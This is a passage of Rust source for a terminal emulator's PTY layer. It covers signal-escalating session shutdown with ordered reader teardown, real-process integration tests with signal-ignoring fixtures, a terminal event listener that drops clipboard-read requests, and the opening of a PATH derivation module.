/// Exited within [`TERM_GRACE`] of `SIGTERM`.
Terminated,
/// Ignored or outlived `SIGTERM`; the group was killed.
Killed,
}
/// Ends the session led by `child`: `SIGTERM` to its process group, a bounded
/// wait, then `SIGKILL` to the group if anything is still there.
///
/// Reaps the child before returning, so the caller cannot leave a zombie by
/// dropping the handle. Returns which arm ended it, which is what a test can
/// assert on — "did it die" is satisfied by both arms and so distinguishes
/// nothing.
#[cfg(unix)]
pub fn shutdown(child: &mut Box<dyn Child + Send + Sync>) -> io::Result<Shutdown> {
// Reap first. A child that already exited still has a pid slot until it is
// waited for, and that pid is reusable the moment it is released -- so
// signalling without checking is how a cleanup path eventually signals an
// unrelated process. Check before signalling, every time.
if child.try_wait()?.is_some() {
return Ok(Shutdown::AlreadyExited);
}
let Some(pid) = child.process_id() else {
// No pid means nothing to signal; still ensure it is reaped.
child.wait()?;
return Ok(Shutdown::AlreadyExited);
};
let pid = pid as i32;
signal_group(pid, libc::SIGTERM);
let leader_honoured_term = leader_exited_by(pid, Instant::now() + TERM_GRACE);
// Sweep the group unconditionally, *including* when the leader exited
// politely. The leader's exit is not the session's end: anything it
// backgrounded that ignores SIGTERM is still running, still in the group,
// and still holding the pty. Returning `Terminated` at that point reports
// success over a leak.
//
// Ordering with the reap is a safety requirement, not a preference. A
// process group id *is* the leader's pid, and the kernel may recycle that
// pid once the leader is reaped -- at which point `kill(-pid)` names some
// unrelated group. An exited-but-unreaped leader is a zombie, and a zombie
// is still a group member, so the id cannot be reused while we hold it.
// Signal first, reap second, and the window does not exist.
signal_group(pid, libc::SIGKILL);
// SIGKILL cannot be caught, so this terminates. It is still a `wait`
// rather than an assumption: the pid must be reaped, and the exit status
// is only available to whoever reaps it.
child.wait()?;
Ok(if leader_honoured_term {
Shutdown::Terminated
} else {
Shutdown::Killed
})
}
/// Sends `signal` to `pid`'s process group, falling back to the pid alone.
///
/// The fallback matters: `kill(-pgid)` requires the child to *be* a group
/// leader, which it is only because `portable-pty` called `setsid()`. If that
/// ever stops being true, a pid-scoped signal still ends the shell — degraded
/// (grandchildren survive) rather than a silent no-op.
///
/// Errors are deliberately not propagated. Every failure mode here means the
/// process is already gone (`ESRCH`) or was never ours to signal (`EPERM`),
/// and in both cases the following `wait` is the authority on what happened.
#[cfg(unix)]
fn signal_group(pid: i32, signal: i32) {
// SAFETY: `kill` with a negative pid targets the process group; both
// arguments are plain integers and the call has no memory effects.
let sent = unsafe { libc::kill(-pid, signal) };
if sent != 0 {
// SAFETY: as above.
unsafe { libc::kill(pid, signal) };
}
}
/// Polls until the leader has exited, or `deadline` passes. Returns whether it
/// exited in time.
///
/// Deliberately **not** `Child::try_wait`, which reaps: reaping here would
/// release the process group id before the sweep above can use it. `WNOWAIT`
/// reads the child's exit state and leaves it waitable, so the zombie stays
/// and keeps the group id reserved for us.
///
/// `waitid`, not `waitpid`, and that is a portability requirement rather than
/// taste. POSIX only defines `WNOWAIT` for `waitid`; Linux tolerates it on
/// `waitpid`, and **Darwin returns `EINVAL`**. Measured with a C probe: on
/// macOS 25.5.0, `waitpid(pid, &st, WNOHANG | WNOWAIT)` is `-1/EINVAL` for a
/// child that has plainly exited. That failure is silent in the shape this
/// function had — an error is indistinguishable from "not exited yet", so the
/// grace period could never be honoured and *every* shutdown escalated to
/// `SIGKILL`, reporting `Killed` for a child that died politely on the first
/// `SIGTERM`. The polite arm was dead code on the platform we develop on.
///
/// `waitid` reports a still-running child as success-with-`si_pid == 0`, so
/// the out-parameter must be zeroed before each call and the *pid*, not the
/// return code, is the answer.
#[cfg(unix)]
fn leader_exited_by(pid: i32, deadline: Instant) -> bool {
loop {
// SAFETY: `info` is a valid, fully-initialised out-pointer for the
// duration of the call. `WNOWAIT` leaves the child waitable, so the
// later `wait` still returns its status.
let exited = unsafe {
let mut info: libc::siginfo_t = std::mem::zeroed();
let rc = libc::waitid(
libc::P_PID,
pid as libc::id_t,
&mut info,
libc::WEXITED | libc::WNOHANG | libc::WNOWAIT,
);
rc == 0 && info.si_pid() == pid
};
if exited {
return true;
}
if Instant::now() >= deadline {
return false;
}
std::thread::sleep(POLL_INTERVAL);
}
}
/// Maximum concurrent terminal sessions.
///
/// Each session costs a pty pair (two fds), a reader thread, and a scrollback
/// grid -- at the default 10k lines x 80 cols that is megabytes of resident
/// memory per tab. The cap exists because tab creation is one keystroke and
/// nothing else bounds it: without a limit, a held-down shortcut exhausts the
/// process fd table, and the first thing to fail is not the terminal but
/// whatever *else* in Buzz next asks for a file descriptor -- the relay
/// socket, a database handle. A resource a UI can allocate in a loop needs a
/// ceiling that fails in its own subsystem.
///
/// 20 matches the abandoned `feat/terminal` branch's `MAX_LIVE_SESSIONS`,
/// kept deliberately: it is far above any plausible human tab count and far
/// below the default 256-fd soft limit, so it bounds the runaway case without
/// ever being reachable by hand.
pub const MAX_LIVE_SESSIONS: usize = 20;
/// A reader that is still consuming the PTY master, to be stopped only after
/// the session has been torn down.
///
/// This exists because the correct close order is not the obvious one, and
/// nothing in the type system otherwise prevents the wrong one. Mari's ruling
/// (`62509b91`) is that **the reader outlives child termination and reap**:
///
/// 1. mark the session closing and stop publishing to the UI;
/// 2. `SIGTERM` -> grace -> `SIGKILL` -> reap, *while output is still drained*;
/// 3. only then close the master and join the reader.
///
/// Inverting steps 2 and 3 is the bug this trait is shaped to prevent, and it
/// is not a hypothetical: a child blocked writing into a master nobody reads
/// does not die promptly even on `SIGKILL`, because the kernel completes the
/// tty teardown first. Measured with a `forkpty` probe -- **606 ms** to reap a
/// `SIGKILL`ed child against an undrained master, versus microseconds when
/// drained. Join the reader first and every tab close pays that, on the arm
/// where the user is already waiting.
pub trait DrainingReader {
/// Detach parser work and enter raw-drain mode before child termination.
fn begin_closing(&self);
/// Wake a reader that remains blocked after the child has been reaped.
fn stop(&self);
/// Releases the reader thread. Called only after [`DrainingReader::stop`].
fn join(self: Box<Self>);
}
/// Ends a session in the order the drain law requires, and returns how it
/// ended.
///
/// The ordering is enforced by ownership rather than by documentation: this
/// function takes the reader **by value**, so a caller cannot have joined it
/// beforehand -- a joined reader has been consumed and cannot be passed here.
/// The only way to use this API is the correct order. A comment saying "do not
/// join the reader first" is advice; a moved value is a compile error.
#[cfg(unix)]
pub fn shutdown_draining(
child: &mut Box<dyn Child + Send + Sync>,
reader: Box<dyn DrainingReader>,
) -> io::Result<Shutdown> {
reader.begin_closing();
// Terminate and reap with the reader still running, so the child never
// blocks in a tty write while we are waiting on it.
let outcome = shutdown(child);
// Unconditional: wake and release the reader whether or not shutdown
// reported an error. EOF may already have ended it; stop is idempotent.
reader.stop();
reader.join();
outcome
}
@@ -0,0 +1,581 @@
//! Lifecycle gates: the session dies, the grandchild dies with it, and the
//! login `argv[0]` the child actually receives is the one we computed.
//!
//! Every test here drives a real PTY and a real process tree. A mock child
//! would let us assert that we *called* `kill`, which is the half we already
//! know; the property under test is what the kernel does with a process group
//! we do not fully control.
use crate::env_fence::fence_env;
use crate::lifecycle::{shutdown, shutdown_draining, DrainingReader, Shutdown, TERM_GRACE};
use crate::path::user_shell_path;
use crate::shell::{login_argv0, resolve_shell};
use portable_pty::{native_pty_system, Child, CommandBuilder, PtyPair, PtySize};
use std::sync::atomic::Ordering;
use std::time::{Duration, Instant};
/// Upper bound on any wait in this file.
///
/// Every wait here is bounded, and that is not caution -- it is the lesson
/// from a probe of an interactive child that read to EOF and hung for 300 s.
/// A PTY master does not reach EOF while any process holds the slave open, so
/// "read until the child is done" is not a terminating program. Bound the
/// read, or poll for the observable effect.
const BOUND: Duration = Duration::from_secs(10);
/// Self-destruct deadline, in seconds, for fixture processes built to ignore
/// signals.
///
/// Comfortably longer than [`BOUND`], so it can never end a process while the
/// test is still observing it -- a watchdog that fires inside the observation
/// window would make a *failing* implementation look correct. Short enough
/// that a crashed run does not leave a core spinning until reboot.
const WATCHDOG: u64 = 60;
fn open_pty() -> PtyPair {
native_pty_system()
.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})
.expect("openpty")
}
/// Drains the PTY master in the background for as long as it stays open.
///
/// Not hygiene -- a correctness requirement, and the cause of a 300 s hang in
/// the first version of this file. A PTY has a small kernel buffer, and a
/// child writing into a master nobody reads blocks in `write()` once it fills.
/// A process blocked in an uninterruptible tty write does not die promptly on
/// `SIGKILL`: the signal is delivered, but the kernel finishes tearing down
/// the tty session first, so `wait()` sits there while the reap completes.
/// Measured directly with a `forkpty` C probe: with the master undrained, a
/// `SIGKILL`ed child took **606 ms** to be reaped. Every terminal in the
/// product drains its master continuously -- that is what a renderer *is* --
/// so a test that doesn't is modelling a configuration that never ships.
///
/// The consequence is worth stating for the embedder: **shutdown must not be
/// called after the reader has stopped.** Tear the session down while output
/// is still being consumed, or the grace period is spent waiting on a
/// self-inflicted stall.
fn drain(pair: &PtyPair) {
let mut reader = pair.master.try_clone_reader().expect("reader");
std::thread::spawn(move || {
use std::io::Read;
let mut buf = [0u8; 4096];
while matches!(reader.read(&mut buf), Ok(n) if n > 0) {}
});
}
/// Spawns `script` under `/bin/sh` on a real PTY, fully fenced.
fn spawn_script(pair: &PtyPair, script: &str) -> Box<dyn Child + Send + Sync> {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let mut cmd = CommandBuilder::new("/bin/sh");
fence_env(&mut cmd, &user_shell_path(), &shell);
cmd.arg("-c");
cmd.arg(script);
let child = pair.slave.spawn_command(cmd).expect("spawn");
drain(pair);
child
}
/// True while `pid` exists. `kill(pid, 0)` performs the permission and
/// existence checks without delivering a signal.
fn pid_alive(pid: i32) -> bool {
// SAFETY: signal 0 delivers nothing; both arguments are integers.
unsafe { libc::kill(pid, 0) == 0 }
}
/// Polls `f` until it returns true or `BOUND` elapses; returns whether it did.
///
/// Polling for the observable state rather than sleeping a fixed duration: a
/// sleep long enough to be reliable is slow, and a sleep short enough to be
/// fast is a race that fails on a loaded machine. Both are worse than asking.
fn poll_until(mut f: impl FnMut() -> bool) -> bool {
let deadline = Instant::now() + BOUND;
while Instant::now() < deadline {
if f() {
return true;
}
std::thread::sleep(Duration::from_millis(5));
}
false
}
/// Reads a file until it is non-empty or `BOUND` elapses.
fn read_when_written(path: &std::path::Path) -> Option<String> {
let mut found = None;
poll_until(|| match std::fs::read_to_string(path) {
Ok(text) if !text.trim().is_empty() => {
found = Some(text.trim().to_owned());
true
}
_ => false,
});
found
}
/// A cooperative child exits on `SIGTERM`, so the polite arm is what ends it.
///
/// The distinction matters: `Killed` and `Terminated` both leave a dead
/// process, so asserting death alone would pass with `SIGTERM` deleted
/// entirely and the grace period reduced to a delay before `SIGKILL`.
#[test]
fn cooperative_child_exits_on_term_not_kill() {
let pair = open_pty();
let mut child = spawn_script(&pair, "sleep 30");
let pid = child.process_id().expect("pid") as i32;
let outcome = shutdown(&mut child).expect("shutdown");
assert_eq!(
outcome,
Shutdown::Terminated,
"a child that dies on SIGTERM must not have needed SIGKILL"
);
assert!(poll_until(|| !pid_alive(pid)), "child survived shutdown");
}
/// A child that ignores `SIGTERM` must still die, and the escalation must be
/// what kills it.
///
/// The fixture shape is load-bearing and my first one was vacuous. I wrote
/// `trap '' TERM; sleep 30`, which *looks* like a signal-ignoring child and
/// reported `Terminated` -- the polite arm, on a child built to defeat it.
/// The reason is that `sh` does not ignore a signal on its child's behalf: the
/// group `SIGTERM` reaches `sleep`, which has no trap and dies, and the shell
/// was blocked in `wait` on exactly that `sleep`, so it reaps it and exits
/// normally. The trap was real, the ignoring was real, and the process still
/// died on `SIGTERM` -- through a path the test wasn't looking at.
///
/// Had I not checked *which* arm fired, this would have passed for the wrong
/// reason and gone on "proving" an escalation it never exercised. The loop
/// keeps the shell itself alive: no blocking `wait` to be interrupted, so the
/// trap actually governs the shell's own fate and only `SIGKILL` can end it.
///
/// The readiness handshake closes a second, subtler version of the same
/// mistake. My loop fixture *still* reported `Terminated`, because `trap` is a
/// command the shell has to reach: a signal delivered in the interval between
/// `exec` and that line finds the default disposition and kills the shell
/// outright. Isolated with a `forkpty` probe -- identical binary, only the
/// delay before signalling changed: at 500 ms all four arms survived, at 2 ms
/// all four died with signal 15. A fixture that is only *probably* armed makes
/// this test a race whose failure mode is a false pass.
///
/// This is the arm that fails if the escalation is deleted -- and the
/// `WATCHDOG` is what makes that a *failure* rather than a hang. With
/// `SIGKILL` deleted, nothing we send can end a child that ignores `SIGTERM`,
/// so `shutdown`'s final `wait` blocks forever and the mutant is detected only
/// by the harness timing out. A test that detects a bug by never finishing is
/// indistinguishable from a broken test. The deadline converts it into a
/// bounded, reportable failure.
#[test]
fn signal_ignoring_child_is_killed_after_the_grace_period() {
let dir = tempdir("buzz-terminal-trap");
let ready = dir.join("armed");
let pair = open_pty();
// The readiness file is written *after* the trap is installed, so waiting
// on it converts "probably armed by now" into an observed fact.
let mut child = spawn_script(
&pair,
&format!(
"trap '' TERM; (sleep {WATCHDOG}; kill -9 $$) & : > {}; \
while :; do sleep 0.1; done",
ready.display()
),
);
let pid = child.process_id().expect("pid") as i32;
assert!(
poll_until(|| ready.exists()),
"child never armed its SIGTERM trap; signalling now would test a \
startup race rather than the escalation"
);
let started = Instant::now();
let outcome = shutdown(&mut child).expect("shutdown");
let elapsed = started.elapsed();
assert_eq!(
outcome,
Shutdown::Killed,
"a SIGTERM-ignoring child must be escalated to SIGKILL"
);
assert!(poll_until(|| !pid_alive(pid)), "child survived SIGKILL");
assert!(
elapsed >= TERM_GRACE,
"shutdown returned in {elapsed:?}, before the {TERM_GRACE:?} grace \
period could have elapsed -- SIGTERM was never given its chance"
);
assert!(
elapsed < BOUND,
"shutdown took {elapsed:?}; the grace period is not bounded"
);
}
/// The property the whole module exists for: a **grandchild** must not outlive
/// the session.
///
/// The fixture is deliberately hostile, and the obvious version of this test
/// proves nothing. I first wrote `sleep 30 & echo $!; wait` and mutation L2 --
/// replacing `kill(-pid)` with `kill(pid)` -- **survived it**. The reason is
/// that killing a PTY session leader makes the kernel hang up the terminal and
/// `SIGHUP` the whole foreground group, so the grandchild dies either way.
/// Isolated with a `forkpty` probe: with the master held open (no fd-closure
/// hangup) and only `SIGKILL` to the shell's pid, the grandchild was gone
/// within 200 ms while the shell itself was still unreaped. The tty hangup was
/// doing the work my group signal was being credited for.
///
/// Two properties are therefore required of the grandchild, and each closes
/// one leak in the fixture:
///
/// - it **ignores `SIGHUP`**, so the tty hangup cannot end it for us; and
/// - it **busy-loops rather than sleeping**, so it is not blocked in a call
/// that the session teardown would interrupt anyway.
///
/// With both, the probe separates cleanly: pid-only leaves the grandchild
/// alive, `kill(-pgid)` does not. That is the only shape in which this test
/// can fail for the reason it claims to test.
///
/// The `WATCHDOG` is the price of that hostility. A grandchild built to
/// survive every signal we send also survives the harness: when this test
/// legitimately fails -- as it does under mutation L1 and L2 -- it leaves a
/// process spinning a core at PPID 1, and a panicking or killed test binary
/// cannot clean up after itself. So the child carries its own deadline.
/// `SIGKILL` because that is the one signal the fixture does not trap.
#[test]
fn grandchild_does_not_outlive_the_session() {
let dir = tempdir("buzz-terminal-orphan");
let pidfile = dir.join("grandchild.pid");
let armed = dir.join("armed");
let pair = open_pty();
let mut child = spawn_script(
&pair,
&format!(
"sh -c 'trap \"\" HUP TERM; (sleep {WATCHDOG}; kill -9 $$) & \
: > {armed}; while :; do :; done' & \
echo $! > {pidfile}; wait",
armed = armed.display(),
pidfile = pidfile.display()
),
);
let shell_pid = child.process_id().expect("pid") as i32;
let grandchild: i32 = read_when_written(&pidfile)
.expect("grandchild never reported its pid")
.parse()
.expect("pid is a number");
assert!(
poll_until(|| armed.exists()),
"grandchild never armed its SIGHUP trap; the tty hangup would kill it \
regardless of how we signal, and this test could not observe the \
difference"
);
assert!(
pid_alive(grandchild),
"test setup: the grandchild must be running before we shut down"
);
assert_ne!(
grandchild, shell_pid,
"test setup: the grandchild must be a distinct process, or this \
cannot tell a group signal from a pid signal"
);
shutdown(&mut child).expect("shutdown");
assert!(
poll_until(|| !pid_alive(shell_pid)),
"the session leader survived shutdown"
);
assert!(
poll_until(|| !pid_alive(grandchild)),
"an orphaned grandchild ({grandchild}) outlived the session -- the \
signal reached the shell's pid but not its process group"
);
}
/// Shutting down an already-dead child is safe and reaps it.
///
/// Without the leading `try_wait`, this path signals a pid that the kernel may
/// already have released and reassigned.
#[test]
fn shutdown_of_an_exited_child_is_a_reap_not_a_signal() {
let pair = open_pty();
let mut child = spawn_script(&pair, "exit 0");
assert!(
poll_until(|| child.try_wait().ok().flatten().is_some()),
"child did not exit"
);
assert_eq!(
shutdown(&mut child).expect("shutdown"),
Shutdown::AlreadyExited
);
}
/// The login `argv[0]` the child **actually receives**, not the string we
/// computed.
///
/// This closes the gap flagged in `e8b567aa`: `login_argv0` and
/// `portable-pty`'s `as_command` (`cmdbuilder.rs:510-517`) were each verified
/// by reading, and agreement-by-reading is not observation.
///
/// Two things make the probe terminate where a naive one hangs. The child
/// writes `$0` to a **file** rather than the PTY -- so there is no terminal
/// echo to strip, no ANSI to parse, and no dependency on the interactive
/// shell ever reaching EOF. And the read is polled to a deadline. Credit to
/// Quinn (`fcfd69b0`), whose three failed PTY-parsing harnesses established
/// that the harness was the bug.
///
/// The explicit-prog row is the control that isolates login `argv[0]` as the
/// only variable: same shell, same PTY, same fence, no `-` prefix.
#[test]
fn default_prog_child_observes_the_login_argv0() {
let dir = tempdir("buzz-terminal-argv0");
let shell = "/bin/sh";
let default_prog = observe_argv0(&dir.join("default"), shell, true);
assert_eq!(
default_prog,
login_argv0(shell),
"the child's $0 is not the login argv0 we computed"
);
assert!(
default_prog.starts_with('-'),
"a default-prog child must be a login shell: {default_prog:?}"
);
let explicit = observe_argv0(&dir.join("explicit"), shell, false);
assert_eq!(
explicit, shell,
"control: an explicitly-invoked shell must not be given a login argv0"
);
assert_ne!(
default_prog, explicit,
"control and subject agree, so this test cannot observe the login \
prefix at all"
);
}
/// Spawns a `/bin/sh` that writes its own `$0` to `pidfile`, either as a
/// default program (login argv0 applied by portable-pty) or explicitly.
///
/// The default-prog child is an *interactive* shell with no `-c`, so it is
/// driven by writing to the PTY master -- the only way to give a login shell
/// a command is to type one.
fn observe_argv0(outfile: &std::path::Path, shell: &str, default_prog: bool) -> String {
let pair = open_pty();
let resolved = resolve_shell(Some(shell));
let mut cmd = if default_prog {
CommandBuilder::new_default_prog()
} else {
CommandBuilder::new(shell)
};
fence_env(&mut cmd, &user_shell_path(), &resolved);
if !default_prog {
cmd.arg("-c");
cmd.arg(format!("printf '%s' \"$0\" > {}", outfile.display()));
}
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
drain(&pair);
drop(pair.slave);
if default_prog {
use std::io::Write;
let mut writer = pair.master.take_writer().expect("writer");
writeln!(writer, "printf '%s' \"$0\" > {}", outfile.display()).expect("write");
writer.flush().expect("flush");
// Dropping the writer closes the master's write side, which the shell
// reads as end-of-input and exits on -- no `exit` command needed, and
// nothing depends on the shell's rc files having run.
drop(writer);
}
let observed = read_when_written(outfile);
let _ = crate::lifecycle::shutdown(&mut child);
observed.unwrap_or_else(|| panic!("child never reported $0 within {BOUND:?}"))
}
/// A fresh directory for a test's artifacts, replacing any prior run's.
fn tempdir(name: &str) -> std::path::PathBuf {
let dir = std::env::temp_dir().join(name);
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).expect("create temp dir");
dir
}
/// Mari's noisy-child discriminator: the reader must still be draining
/// **while** the child is being terminated and reaped.
///
/// The portable contract is structural: `stop` must not be requested until
/// the child has been reaped. The recording reader checks the child PID at the
/// `stop` call, while the continuously noisy PTY makes the test exercise a
/// reader that is genuinely active rather than a quiet no-op.
///
/// The child is deliberately noisy: it floods the PTY continuously, so a
/// master that stops being read fills its kernel buffer within milliseconds
/// and the child blocks in `write()`. That is the state the drain law exists
/// to avoid, and a quiet child cannot produce it -- with nothing being
/// written, both orders look identical and the test proves nothing.
#[test]
fn reader_drains_through_termination_and_reap() {
let pair = open_pty();
// Flood, and keep flooding: `yes` writes until the pipe is closed or the
// process dies, so there is always more output pending than the buffer
// holds.
let mut child = spawn_noisy(&pair);
let pid = child.process_id().expect("pid") as i32;
let order = std::sync::Arc::new(std::sync::Mutex::new(Vec::new()));
let stop_at: StopClock = std::sync::Arc::new(std::sync::Mutex::new(None));
let reader = RecordingReader::spawn(&pair, pid, order.clone(), stop_at.clone());
// Release the slave, exactly as the runtime does after spawning
// (`terminal_runtime.rs:441`). Not hygiene: a PTY master does not reach
// EOF while *any* process holds the slave open, and this test is one --
// so with the slave retained the reader parks in `read()` forever after
// the child is reaped, and every wait on it burns its whole bound. Linux
// honours that rule strictly; Darwin ends the read when the session
// leader exits, so the retained slave was invisible on the platform this
// was written on and failed only in CI.
drop(pair.slave);
// Establish that this is a live draining reader, not a quiet fixture.
assert!(
poll_until(|| reader.total_bytes() > 4096),
"test setup: the child is not producing enough output to fill the pty \
buffer, so this cannot distinguish drain order"
);
let started = Instant::now();
let outcome = shutdown_draining(&mut child, Box::new(reader)).expect("shutdown");
// `stop` runs the instant `shutdown` returns, so this is the child's half
// of the window and nothing else. Timing the whole call would fold reader
// teardown into an assertion whose message is about child termination --
// which is exactly how a stalled reader once read as a wedged child.
let elapsed = stop_at
.lock()
.unwrap()
.expect("stop was never called")
.duration_since(started);
assert_eq!(
outcome,
Shutdown::Terminated,
"a `yes` pipeline dies on SIGTERM; SIGKILL here means it was wedged in \
a tty write against an undrained master"
);
assert!(
elapsed < TERM_GRACE,
"shutdown took {elapsed:?}, at or beyond the {TERM_GRACE:?} grace \
period: the child was blocked writing to an undrained master rather \
than exiting on SIGTERM"
);
assert_eq!(
*order.lock().unwrap(),
["begin_closing", "stop", "join"],
"reader close must begin before termination and stop/join only after reap"
);
}
/// Spawns a child that floods the PTY without pause.
fn spawn_noisy(pair: &PtyPair) -> Box<dyn Child + Send + Sync> {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let mut cmd = CommandBuilder::new("/bin/sh");
fence_env(&mut cmd, &user_shell_path(), &shell);
cmd.arg("-c");
cmd.arg("while :; do echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; done");
// Deliberately no `drain` here: this test owns the reader.
pair.slave.spawn_command(cmd).expect("spawn")
}
/// A [`DrainingReader`] that records how much it read after close began.
struct RecordingReader {
pid: i32,
total: std::sync::Arc<std::sync::atomic::AtomicU64>,
handle: std::thread::JoinHandle<()>,
order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
/// When `stop` was called -- i.e. the instant `shutdown` returned.
stop_at: StopClock,
}
/// Shared slot for the instant the reader was asked to stop.
type StopClock = std::sync::Arc<std::sync::Mutex<Option<Instant>>>;
impl RecordingReader {
fn spawn(
pair: &PtyPair,
pid: i32,
order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
stop_at: StopClock,
) -> Self {
let mut reader = pair.master.try_clone_reader().expect("reader");
let total = std::sync::Arc::new(std::sync::atomic::AtomicU64::new(0));
let counter = total.clone();
let handle = std::thread::spawn(move || {
use std::io::Read;
let mut buf = [0u8; 4096];
while let Ok(n) = reader.read(&mut buf) {
if n == 0 {
break;
}
counter.fetch_add(n as u64, Ordering::Relaxed);
}
});
Self {
pid,
total,
handle,
order,
stop_at,
}
}
fn total_bytes(&self) -> u64 {
self.total.load(Ordering::Relaxed)
}
}
impl DrainingReader for RecordingReader {
fn begin_closing(&self) {
self.order.lock().unwrap().push("begin_closing");
}
fn stop(&self) {
*self.stop_at.lock().unwrap() = Some(Instant::now());
assert!(
!pid_alive(self.pid),
"reader stop must not be requested before the child is reaped"
);
self.order.lock().unwrap().push("stop");
}
fn join(self: Box<Self>) {
self.order.lock().unwrap().push("join");
// Bounded, and that is the whole point. The read loop ends when the
// master reports EOF, which only happens once the reaped child has
// released the slave -- so joining *before* termination blocks
// forever. That is precisely the forbidden ordering (mutation L4),
// and an unbounded join would "detect" it by hanging, which is
// indistinguishable from a broken test. Waiting to a deadline and
// abandoning the thread converts the hang into an assertion failure
// the harness can report.
//
// The deadline must *assert*, not return. A silent abandon is
// indistinguishable from a clean join, and that is not hypothetical:
// it is how a 10 s stall in this fixture masqueraded as a
// child-termination failure in the caller's timing assertion. The
// caller's clock covers `shutdown()` only, so this is the sole gate
// on reader teardown -- with a wedged reader, `shutdown()` still
// returns in ~58 ms and every other assertion here passes.
assert!(
poll_until(|| self.handle.is_finished()),
"reader thread never finished within {BOUND:?} after the child was \
reaped: the master never reached EOF, so output was not being \
drained through termination"
);
let _ = self.handle.join();
}
}
@@ -0,0 +1,144 @@
//! The closed set of terminal events we act on.
//!
//! `EventListener` is how the emulator asks the embedder to do something. Most
//! of those requests write back to the PTY, and one of them — `ClipboardLoad` —
//! would let terminal output read the user's clipboard into the shell. We
//! answer a fixed set and **drop everything else by default**, so a new upstream
//! variant is inert until someone deliberately handles it.
use std::fmt;
use std::sync::mpsc::{self, Receiver, Sender};
use std::sync::Arc;
use alacritty_terminal::event::{Event, EventListener, WindowSize};
use alacritty_terminal::vte::ansi::Rgb;
/// Something the embedder must do on the terminal's behalf.
///
/// Two variants carry upstream's reply formatters rather than a finished
/// string: the answers depend on state this listener does not own (the color
/// palette, the cell metrics). Resolving them here would mean inventing
/// values, and a program that asked for its terminal's real background color
/// would silently be told black.
#[derive(Clone)]
pub enum Action {
/// Write bytes back to the PTY.
PtyWrite(String),
/// Reply with palette entry `index`, formatted by `format`.
ColorReply {
index: usize,
format: Arc<dyn Fn(Rgb) -> String + Send + Sync>,
},
/// Reply with the text area size, formatted by `format`.
SizeReply {
format: Arc<dyn Fn(WindowSize) -> String + Send + Sync>,
},
/// The program set the window title (already clamped).
Title(String),
/// The program reset the window title.
ResetTitle,
/// New content is available; the renderer should sample damage.
Wakeup,
/// The program rang the bell.
Bell,
}
impl fmt::Debug for Action {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
Self::PtyWrite(text) => write!(f, "PtyWrite({text:?})"),
Self::ColorReply { index, .. } => write!(f, "ColorReply({index})"),
Self::SizeReply { .. } => write!(f, "SizeReply"),
Self::Title(title) => write!(f, "Title({title:?})"),
Self::ResetTitle => write!(f, "ResetTitle"),
Self::Wakeup => write!(f, "Wakeup"),
Self::Bell => write!(f, "Bell"),
}
}
}
/// Longest title we will carry. A title is program-controlled text that ends up
/// in UI chrome; an unbounded one is a memory and layout problem.
pub const TITLE_LIMIT: usize = 512;
/// Clamp on a character boundary, never mid-UTF-8.
fn clamp_title(title: String) -> String {
match title.char_indices().nth(TITLE_LIMIT) {
None => title,
Some((byte_idx, _)) => title[..byte_idx].to_string(),
}
}
/// Translates upstream events into the closed [`Action`] set.
#[derive(Clone)]
pub struct Listener(Sender<Action>);
impl Listener {
pub fn new() -> (Self, Receiver<Action>) {
let (tx, rx) = mpsc::channel();
(Self(tx), rx)
}
}
/// Resolve an emulator action that can be answered without renderer state.
///
/// Color queries deliberately return `None`: named/indexed colors resolve
/// against the live theme, which this crate does not own.
pub fn reply(
action: Action,
columns: u16,
rows: u16,
cell_width: u16,
cell_height: u16,
) -> Option<String> {
match action {
Action::PtyWrite(text) => Some(text),
Action::SizeReply { format } => Some(format(WindowSize {
num_lines: rows,
num_cols: columns,
cell_width,
cell_height,
})),
// Palette values are renderer-owned. The transport must answer these
// only after it has a renderer palette, never invent one here.
Action::ColorReply { .. }
| Action::Title(_)
| Action::ResetTitle
| Action::Wakeup
| Action::Bell => None,
}
}
impl EventListener for Listener {
fn send_event(&self, event: Event) {
let action = match event {
// Replies the program is waiting on. These are the only routes by
// which emulator state travels back into the shell.
Event::PtyWrite(text) => Action::PtyWrite(text),
// A program blocked on a color reply must get one, or it hangs.
// The palette lives in `Term`, so the caller resolves the index;
// the formatter is carried through untouched.
Event::ColorRequest(index, format) => Action::ColorReply { index, format },
Event::TextAreaSizeRequest(format) => Action::SizeReply { format },
Event::Title(title) => Action::Title(clamp_title(title)),
Event::ResetTitle => Action::ResetTitle,
Event::Wakeup => Action::Wakeup,
Event::Bell => Action::Bell,
// Dropped on purpose, and enumerated so the reason survives:
//
// ClipboardLoad would let terminal output paste the user's
// clipboard into the shell. Never handled.
Event::ClipboardLoad(..) => return,
// ClipboardStore is an OSC 52 write; OSC 52 is disabled in the
// Term config, so this should be unreachable rather than merely
// unhandled.
Event::ClipboardStore(..) => return,
// Presentation concerns the renderer polls for; no action here.
Event::MouseCursorDirty | Event::CursorBlinkingChange => return,
// Lifecycle is owned by the PTY layer, not the emulator.
Event::Exit | Event::ChildExit(_) => return,
};
let _ = self.0.send(action);
}
}
@@ -0,0 +1,46 @@
//! `PATH` derivation for spawned PTY children.
//!
//! Buzz's own process runs under Hermit activation, so its `PATH` leads with
//! the repo's hermit `bin` and the hermit cache. Inheriting that verbatim
//! hands the user a shell whose `cargo`, `node`, and `python` are Buzz's
//! pinned build toolchain rather than the ones they installed. That is a
//! product defect, not merely untidy: `⌘J` then `cargo --version` should
//! answer for the user's machine, not for Buzz's build.
//!
//! The abandoned `feat/terminal` branch tried to solve this by subtracting
//! hermit roots from the inherited `PATH` (`terminal.rs:504-536`). The
//! subtraction never ran: `spawn_session` calls `env_remove` on `HERMIT_ENV`
//! and `ACTIVE_HERMIT` at `:339-344`, *before* `scrub_hermit_path` reads
//! those same keys at `:505-506` to learn what to strip. With both keys
//! already gone the roots list is empty and the function returns early,
//! leaving the hermit entries in place. Verified by reproduction: in that
//! order the child's `PATH` is unchanged; reversed, the hermit entries are
//! removed. A subtractive fence depends on evidence of what to subtract, and
//! that evidence is exactly what the preceding cleanup destroys.
//!
//! So `PATH` is *constructed*, not filtered. The child gets the platform's
//! standard user path, which is what a login shell would have produced had
//! Buzz never been in the picture.
/// The default user `PATH` for a spawned shell.
